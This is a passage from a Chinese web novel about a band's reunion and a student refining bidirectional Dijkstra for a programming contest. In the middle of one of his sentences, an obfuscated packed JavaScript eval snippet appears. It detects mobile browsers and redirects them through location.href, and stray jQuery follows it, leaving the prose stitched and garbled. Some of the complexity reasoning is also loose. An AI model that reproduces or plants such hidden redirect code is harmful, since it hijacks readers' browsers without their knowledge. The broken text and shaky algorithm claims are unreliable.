白星野抬起头,嘴角弯起一个浅浅的弧度,轻轻叩了叩屏幕:“我自己画的,总觉得白蔷薇耐看,不张扬。”
她的声音温温柔柔,像风吹过花瓣的轻响。
“你的白百合,也很衬你。”
陈曦补充道:“你们的纯白色鲜花头像,在我的好友列表里还挺特别的。”
“不过,真的很适合你们的气质。”
叶清柚也没想到明明见过白星野张扬热烈的那一面,但仍然觉得不张扬的那个白星野也是她本人,就是这样复杂又矛盾的特质。
“对了,星野姐,其他几个人呢?”陈曦突然想起乐队的其他几个人,开口问道。
“他们在靠门边的角落呢。”白星野朝着门边的位置指去。
顺着她手指的方向,可以看到三个身影缩在关东煮店靠门的角落卡座里,玻璃橱窗里的暖光漫出来,给他们镀了层橘色的绒边。
几人感受到视线朝着这边看来,纷纷抬起头,朝着叶清柚和陈曦点了点头。
陈曦开心地挥了挥手,“原来你们在那。”
叶清柚则回了个礼貌的颔首。
白星野继续说道:“你一进门,你哥就看到了。”
“这不,没一会就来找你了。”
陈曦“嘿嘿”一笑,挽着陈东来的手更紧了。
另一边,深秋的风卷着银杏叶,扑在博思楼的玻璃窗上,沙沙作响。
312会议室里亮着暖黄的顶灯,几张长桌拼在一起,散落着打印出来的算法题集和写满公式的草稿纸。
赵归渺坐在长桌的末端,一只手的手肘抵着桌面,另一只手无意识地把玩着一支黑色水笔的笔帽。他面前的笔记本摊开着,扉页上用铅笔写了半行动态规划的状态转移方程,字迹被蹭得有些模糊。
“这次蓝桥杯的省赛,咱们院的目标是保二争一。”说话的是计算机系大三的学长,他把U盘插进电脑,投影幕布上跳出竞赛的历年真题分布,“去年咱们卡在了最后一道大题的优化上,今年得重点突破。”
另一个大三的学姐推了推鼻梁上的黑框眼镜,伸手点了点幕布上的“动态规划”板块:“我看了今年的模拟题,递推的边界条件比往年更刁钻,而且大概率会结合贪心算法考,你们刷题的时候得多注意这种交叉题型。”
会议室里响起几声低低的附和。
赵归渺微微抬眼,目光掠过幕布上密密麻麻的字符,落在桌角那本翻得卷了边的《算法导论》上。
“归渺”学长忽然叫他的名字,“你上次校赛写的那道最短路径题,思路很巧,用了双向Dijkstra吧?这次省赛可以试试把这个方法再优化下,说不定能用到。”
赵归渺回过神,顿了顿,点了点头:“嗯,我回去再测几组数据,看看时间复杂度能不能再压一压。”他的声音不算高,却透着一股让人信服的沉稳。
旁边的大二学姐笑了笑,递过来一叠打印好的资料:“这是我整理的近五年省赛的压轴题,你基础好,啃啃这些,应该能有收获。”
“谢谢学姐。”他把资料叠好,放在笔记本上,目光又落回扉页的那半行公式上。
窗外的风又大了些,卷起一片金黄的银杏叶,贴在玻璃上晃了晃,又被吹走了。
赵归渺忽然想起,周一傍晚在望远楼旁的小花坛,看见叶清柚抱着一只三花猫蹲在台阶上,小猫缩在她的怀里打呼噜,她低头轻轻挠着小猫的下巴,夕阳落在她的发顶,染出一圈淡淡的金边,晃得让人心软。
他当时站在树影里,看了好一会儿,直到那只猫伸了个懒腰,从她怀里跳下去,慢悠悠地溜进草丛里。
“对了,”另一个大三学长忽然开口,“这次竞赛的备赛小组,咱们可以分个工,归渺你负责图论和动态规划这块,怎么样?”
赵归渺收回思绪,抬眼看向说话的人,嘴角弯了弯,是很淡的弧度,却让那双总是显得有些清冷的眼睛,忽然透出一点暖意:“好。”
他低下头,翻开学姐给的资料,视线落在印着密密麻麻代码的纸页,心里却莫名地,想起了那只猫,和那个抱着猫的女生。
明明才分开不到一小时,却感觉好像已经过了一个礼拜那么久。
窗外的银杏叶,还在一片一片地往下落。
突然,赵归渺猛地抬起头,视线再次落回那本《算法导论》上。
双向Dijkstra的优化思路,他在校赛时只是仓促尝试,如今被学长点破,那些散落在记忆里的碎片忽然拼凑起来,在脑海中形成一张细密的逻辑网。
他下意识地翻开笔记本,越过扉页那半行模糊的动态规划方程,翻到记录着校赛代码的页面。
笔尖抵在“双向搜索终止条件”那一行,墨色的字迹被他圈了又圈。
“上次校赛的测试数据规模不大,双向搜索的终止条件设为‘两端相遇’就足够了,但省赛的数据集肯定会扩容,”他低声自语,眉头微微蹙起,“如果节点数达到十万级,单纯的相遇判断会导致大量无效遍历,时间复杂度还是会飙升到O(MlogN),根本达不到省赛要求的运行效率。”
窗外的银杏叶又一次贴在玻璃上,沙沙的声响像是数据在内存中流转的杂音。
赵归渺的目光落在草稿纸的空白处,迅速写下双向Dijkstra的核心公式:dist[s][u]+dist[t][u]>=dist[s][t]。“这里的问题在于,相遇节点u未必是最短路径上的节点。”他的笔尖在“>=”符号上重重一划,“如果能找到一个更精准的终止阈值,提前终止搜索,或许能减少不必要的计算。”
他想起《算法导论》里关于A*算法的启发函数章节,在纸上快速勾勒出启发函数的雏形:h(u)=|x_u-x_t|+|y_u-y_t|。“如果把A*的启发函数融入双向Dijkstra,用预估距离来预判当前路径是否有优化空间。”他的眼睛亮了亮,笔在纸上疾走着,“当dist[s][u]+h(u)>=当前最短路径时,就可以剪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950025|192829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枝这一条分支,这样能大大减少搜索的节点数。”
但念头刚起,就被他自己推翻了。
“不行,省赛的图可能是带权图,曼哈顿距离的启发函数只适用于无权网格图。”他摇了摇头,在启发函数上打了个叉,“如果边权是随机分布的,启发函数的预估会偏差太大,反而会导致剪枝过度,错过最优解。”
会议室里的讨论声渐渐模糊,赵归渺的世界只剩下草稿纸上的公式和跳动的思绪。
他抬手揉了揉眉心,目光落在学长给的资料上,其中一页印着省赛历年的时间限制——1秒。
“1秒内要处理百万级的边,时间复杂度必须压到O(Mlog(N/2))以下。”他在草稿纸上写下这个目标,手指轻轻敲击桌面,“双向Dijkstra的优势在于两端同时搜索,搜索空间是单向的一半,但如果能优化优先级队列的实现,或许能再提速。”
他想起校赛时用的是普通的二叉堆,插入和删除的时间复杂度是O(logN)。
“如果换成斐波那契堆,摊还时间复杂度能降到O(1),但实现太复杂,容易出错,”他在“斐波那契堆”几个字旁边犹豫地画了个圈,“而且省赛的编程环境可能不支持某些底层优化,反而不如用二叉堆配合启发式剪枝来得稳妥。”
忽然,他的目光落在笔记本上记录的一组校赛数据上:当双向搜索的两端节点数达到总节点数的30%时,相遇的概率最大。
“或许可以设置一个动态阈值,”他猛地挺直脊背,在纸上飞快地演算,“当任意一端的搜索节点数超过总节点数的25%,就切换成单向Dijkstra,这样既能利用双向搜索的优势,又能避免无效遍历。”
他顺着这个思路往下推导,假设总节点数为N,双向搜索各处理N/4个节点,那么优先级队列的操作次数就从O(MlogN)降到了O(Mlog(N/4)),相当于减少了近一半的计算量。
“再配合边的筛选,只保留权值小于当前最短路径的边,”他的嘴角不自觉地微微上扬,“这样一来,时间复杂度应该能压到1秒以内。”
窗外的银杏叶被风吹走,皎洁的月光透过玻璃洒在草稿纸上,照亮了密密麻麻的公式和演算步骤。
赵归渺抬手擦掉额角的薄汗,笔尖轻轻划过那些被圈改、被标注的字迹,心里忽然涌起一股难掩的笃定。
他拿出手机,快速翻找出之前收藏的一篇关于双向Dijkstra优化的论文,打算回去后结合自己的推导再验证一遍。
“归渺?你在想什么呢,这么入神?”旁边的学长轻轻碰了碰他的胳膊。
赵归渺回过神,眼底还残留着思考时的专注,他扬了扬手里的草稿纸,声音里带着一丝难掩的兴奋:“学长,我觉得双向Dijkstra可以结合动态阈值和边筛选来优化,或许能把时间复杂度再降一级。”
“动态阈值?”刚才提议分工的学长立刻凑了过来,目光紧紧盯着草稿纸上的演算步骤。